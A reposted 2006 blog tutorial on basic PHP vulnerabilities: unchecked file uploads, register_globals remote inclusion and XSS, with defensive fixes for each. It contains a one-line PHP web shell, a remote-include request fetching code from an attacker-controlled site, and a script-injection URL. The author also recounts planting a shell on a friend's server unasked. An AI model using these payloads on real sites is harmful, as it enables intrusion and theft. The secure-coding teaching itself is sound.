The introduction
What follows is a repost of my first article on nulldigital.net, on the 10th of May 2006. A long time ago, when I was all innocent! Good times. The original article as been modified slightly as I sounded like such a git back then. I know it's slightly simple for this site but since nulldigital.net is closing I want to repost the articles from there to neverfear.org. So lets get started..
The article
A friend of mine, jodi (http://devstuff.eu/) wrote a simple gallery a while ago, pasted a link to a site he had made for a very simple gallery, that all it does is list images in a database. You can upload them. Resize them. And the scripts will make the thumbnails, display them, etcetera. A very common application, and a very simple one to write.
However, being the curious fellow I am, I decided to poke about. I found a major vulnerability for command and code injection within 3 minutes. The hole was in the upload script. A very well documented hole - failure to check file type of accepted upload. Such that its trivial to upload you're own code/programs and run them via the web server. So I did this, and within 5 minutes of being linked to his site, I ran phpinfo() as proof. I later uploaded a simple php shell (since he didn't seem to listen when I mentioned the hole always good to scare them a little more).
So how was it actually done? Extremely simply, and its an outrageously common error php programmers make. First you have to realise that your average web server, which in this case was apache2, figures out what to do with files that are requested by what it considers its MIME type. For example, the web server recognises http://example.com/file.txt as being of MIME type text/plain. For example in images, http://example.com/myphoto.jpg is given the MIME type image/jpeg. The servers are configured to handle certain MIME typed files in a certain way, in the .php file type it runs it through the php module for the server (assuming it has php installed) and basically will execute the php code, sending the output to the client.
So, as I mentioned, since system was vulnerable because of failure to check the file type, the principle is, upload a file with php code and with the .php suffix and you can run the php script on their web server. So I did this, my info.php script was simply uploaded in the form field for the image to upload. The code in info.php is given below.
<? phpinfo(); ?>
This is a very common php script, in fact it's probably more common than a php hello world since it also provides some useful information about the system itself. Which may be used in diagnostics.
After that has uploaded I have to figure out how to run it, for this I just checked common paths. For instance, his thumbnails were saved in ./thumbs and his full size images were ./images. I tried both these and found that the script was moved into ./images after being uploaded. I navigated to ./images/info.php in a browser and success. I could now potentially go on to take over the entire server. Of course instead being the usually good natured guy that I am, I told him about it (damn my honesty!).
The second script I uploaded was hax.php and source is given below
<? system($QUERY_STRING); ?>
This allows me to run commands on the system by way of ./images/hax.php?ls. This would run the ls command.
How could a programmer prevent this? The answer to this is as trivial as the vulnerability itself. There are two obvious ways to stop this, the first is to just check the file type, if its not an image, delete it from the temporary directory where its being held. Lets see some example code.
<? // i assume here that the form field name value is "imagefile" switch($_FILES['imagefile']['type']) { case "image/gif": case "image/jpeg": case "image/png": // process it here, its probably a gif, jpeg or png! break; default: @unlink($_FILES['imagefile']['tmp_name']); // its probably bad, get rid } ?>
I have heard that this doesn't work on IE6 and under. Seems IE doesn't send a proper Content-Type header for the image upload. So, a simple solution is to simply check the suffix.
<? // i assume here that the form field name value is "imagefile" $ext = strtolower(getext($_FILES['imagefile']['name'])); switch($ext) { case "gif": case "jpg": case "jpeg": case "png": // process it here, its a gif, jpeg or png! break; default: @unlink($_FILES['imagefile']['tmp_name']); // its bad, get rid } ?>
This code will actually be more effective at stopping execution. The reason refers back to what I said earlier. Most web servers work out how to handle a file, based on its file extension. So in the second snippet it'll stop execution even if the Content-Type header was spoofed from the client. First rule of security is trust nobody, and following this all programs you ever write should check all that inputs are safe before actually using them.
So what was the other measure you can take? Simply just don't copy the file into a publicly accessible directory until an administrator has checked it. You should really be using both these techniques for this if they are available to you.
What else could go wrong? Well, whilst I'm on the subject of simple php vulnerabilities, allow me to mention a couple others with solutions. Lets start with the usage of registered global variables. If you're unaware of what this is, its a configuration option in php. It makes variables which are in global scope but have to be referred explicitly as such (example below) accessible as local scope variables.
<? $GLOBALS["somevar"] = 678; print $GLOBALS["somevar"]; ?>
With registered global variables this is doable by way of:
<? $GLOBALS["somevar"] = 876; print $somevar; >
So how can we execute code here? Again, simple. Lets say our vulnerable application is written like this.
<? if ($_SERVER["REQUEST_METHOD"] == "POST") { $page = "mypage.php"; } include($page); ?>
The vulnerability here is that if our request method is anything other than POST, $page is unset. If register_globals is enabled, we can submit a crafted request using GET, for example, with a post parameter to set $page to be from our input. Example http.
GET /ourscript.php?page=http://mysite/codetorun.txt HTTP/1.1 Host: example.com</pre class='code'>
This should force the application to include whatever code is in codetorun.txt on my site.
The final vulnerability I'm going to discuss, is less a php vulnerability and more of a general vulnerability that php should be used to prevent. This is XSS, formally known as cross-site scripting. The idea is simple, a php application takes some user input and uses it to general some output, printing the input also. Lets see the target application.
<? $text = $_GET["text"]; print $text; ?>
The core of this vulnerability relies on executing code onto the client side. Usually through Javascript, but it can be done with many embedded technologies or in fact simply anything which is doable with HTML (or other web page languages). In my example I'll use Javascript for quick impact.
Lets say we accessed the site with this URL:
http://example.com/xss.php?text=<script language="javascript">alert('pwnd');</script>
The application would print out the Javascript code and run it on the client. So no big deal right? Javascript has very limited privileges. This is true, but in cases were there is a Javascript attack vector on the clients browser this could result in the machine running the code being broken into. What if we didn't use Javascript? ActiveX if I recall correctly runs on windows like a regular binary would. With whatever permissions the user had. How about if we had an XSS on a website which was used in e-Commerce. Say we changed the action property of the form tag, which controls where to submit the data to. We could potentially phish card numbers, personal information, etcetera. So how can php help prevent this? Easy. Any input that must be printed must be first made HTML safe, with a simple call. The function htmlentities() will take a HTML unsafe string and return a string where all the special HTML characters have been converted to a form known as an entity.
<? $text = htmlentities($_GET["text"]); print $text; ?>
So when the victim hits on a site which an attacker is trying to exploit by XSS the site just looks broken to the user but is safe, or just simply stops it.
That concludes the first article I've ever written, one the very basics of php secure coding and exploitation. There are many other kinds of exploitation, some of the biggest are summarised in this securityfocus.com article
References (Viewed on Wednesday 10th of may, 2006):